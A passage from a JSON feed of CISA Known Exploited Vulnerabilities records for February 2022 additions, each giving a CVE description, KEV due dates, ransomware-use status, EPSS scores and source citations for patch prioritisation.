known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-20708&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-20708, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-6352","cveId":"CVE-2014-6352","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Code Injection Vulnerability","summary":"Microsoft Windows allow remote attackers to execute arbitrary code via a crafted OLE object.","detail":"CISA added this entry on 2022-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-25","dueAt":"2022-08-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.77485,"percentile":0.99556,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-6352&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-6352","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-6352 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-6352&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-6352, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0222","cveId":"CVE-2017-0222","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory.","detail":"CISA added this entry on 2022-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-25","dueAt":"2022-08-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.29645,"percentile":0.9818,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0222&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0222","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0222 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0222&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0222, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-8570","cveId":"CVE-2017-8570","aliases":[],"kind":"vulnerability","title":"Microsoft Office Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists in Microsoft Office software when it fails to properly handle objects in memory.","detail":"CISA added this entry on 2022-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-25","dueAt":"2022-08-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89889,"percentile":0.99789,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-8570&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-8570","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-8570 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-8570&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-8570, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-24682","cveId":"CVE-2022-24682","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaborate Suite (ZCS) Cross-Site Scripting Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting (XSS) vulnerability in the Calendar feature that allows an attacker to execute arbitrary code.","detail":"CISA added this entry on 2022-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-25","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaborate Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaborate Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-25","dueAt":"2022-03-11","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.30931,"percentile":0.98245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-24682&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-24682","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-24682 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-24682&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-24682, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-23131","cveId":"CVE-2022-23131","aliases":[],"kind":"vulnerability","title":"Zabbix Frontend Authentication Bypass Vulnerability","summary":"Unsafe client-side session storage leading to authentication bypass/instance takeover via Zabbix Frontend with configured SAML.","detail":"CISA added this entry on 2022-02-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-22","updatedAt":null,"regions":["Global"],"vendor":"Zabbix","product":"Frontend","stacks":["Zabbix","Frontend"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-22","dueAt":"2022-03-08","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95683,"percentile":0.9987,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-23131&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-23131","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-23131 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-23131&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-23131, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-23134","cveId":"CVE-2022-23134","aliases":[],"kind":"vulnerability","title":"Zabbix Frontend Improper Access Control Vulnerability","summary":"Malicious actors can pass step checks and potentially change the configuration of Zabbix Frontend.","detail":"CISA added this entry on 2022-02-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-22","updatedAt":null,"regions":["Global"],"vendor":"Zabbix","product":"Frontend","stacks":["Zabbix","Frontend"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-22","dueAt":"2022-03-08","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9526,"percentile":0.99865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-23134&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-23134","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-23134 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-23134&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-23134, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-3906","cveId":"CVE-2013-3906","aliases":[],"kind":"vulnerability","title":"Microsoft Graphics Component Memory Corruption Vulnerability","summary":"Microsoft Graphics Component contains a memory corruption vulnerability which can allow for remote code execution.","detail":"CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Graphics Component","stacks":["Microsoft","Graphics Component"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-15","dueAt":"2022-08-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84853,"percentile":0.99708,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-3906&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-3906","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-3906 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-3906&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-3906, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-1761","cveId":"CVE-2014-1761","aliases":[],"kind":"vulnerability","title":"Microsoft Word Memory Corruption Vulnerability","summary":"Microsoft Word contains a memory corruption vulnerability which when exploited could allow for remote code execution.","detail":"CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Word","stacks":["Microsoft Office","Microsoft","Word"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-15","dueAt":"2022-08-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.77734,"percentile":0.99564,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-1761&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-1761","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-1761 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-1761&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-1761, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-9841","cveId":"CVE-2017-9841","aliases":[],"kind":"vulnerability","title":"PHPUnit Command Injection Vulnerability","summary":"PHPUnit allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a \"<?php \" substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.","detail":"CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-15","updatedAt":null,"regions":["Global"],"vendor":"PHPUnit","product":"PHPUnit","stacks":["PHPUnit"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-15","dueAt":"2022-08-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99994,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-9841&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-9841","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-9841 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-9841&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-9841, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-15982","cveId":"CVE-2018-15982","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Use-After-Free Vulnerability","summary":"Adobe Flash Player com.adobe.tvsdk.mediacore.metadata Use After Free Vulnerability","detail":"CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-02-15","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-15","dueAt":"2022-08-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89581,"percentile":0.99784,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-15982&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-15982","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-15982 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-15982&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-15982, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-20250","cveId":"CVE-2018-20250","aliases":[],"kind":"vulnerability","title":"WinRAR Absolute Path Traversal Vulnerability","summary":"WinRAR Absolute Path Traversal vulnerability leads to Remote Code Execution","detail":"CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-15","updatedAt":null,"regions":["Global"],"vendor":"RARLAB","product":"WinRAR","stacks":["7-Zip and WinRAR","RARLAB","WinRAR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-15","dueAt":"2022-08-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96004,"percentile":0.99875,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-20250&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-20250","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-20250 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-20250&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-20250, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8174","cveId":"CVE-2018-8174","aliases":[],"kind":"vulnerability","title":"Microsoft Windows VBScript Engine Out-of-Bounds Write Vulnerability","summary":"A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory, aka \"Windows VBScript Engine Remote Code Execution\"","detail":"CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-15","dueAt":"2022-08-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88243,"percentile":0.99766,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8174&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8174","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8174 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8174&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8174, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0752","cveId":"CVE-2019-0752","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Type Confusion Vulnerability","summary":"A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer","detail":"CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-15","dueAt":"2022-08-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.81679,"percentile":0.9964,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0752&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0752","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0752 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0752&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0752, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-0609","cveId":"CVE-2022-0609","aliases":[],"kind":"vulnerability","title":"Google Chromium Animation Use-After-Free Vulnerability","summary":"Google Chromium Animation contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-15","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium Animation","stacks":["Google Chrome","Google","Chromium Animation"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-15","dueAt":"2022-03-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22442,"percentile":0.9768,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-0609&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-0609","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-0609 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-0609&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-0609, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-24086","cveId":"CVE-2022-24086","aliases":[],"kind":"vulnerability","title":"Adobe Commerce and Magento Open Source Improper Input Validation Vulnerability","summary":"Adobe Commerce and Magento Open Source contain an improper input validation vulnerability which can allow for arbitrary code execution.","detail":"CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-15","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Commerce and Magento Open Source","stacks":["Adobe Commerce and Magento","Adobe","Commerce and Magento Open Source"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-15","dueAt":"2022-03-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99199,"percentile":0.99934,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-24086&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry 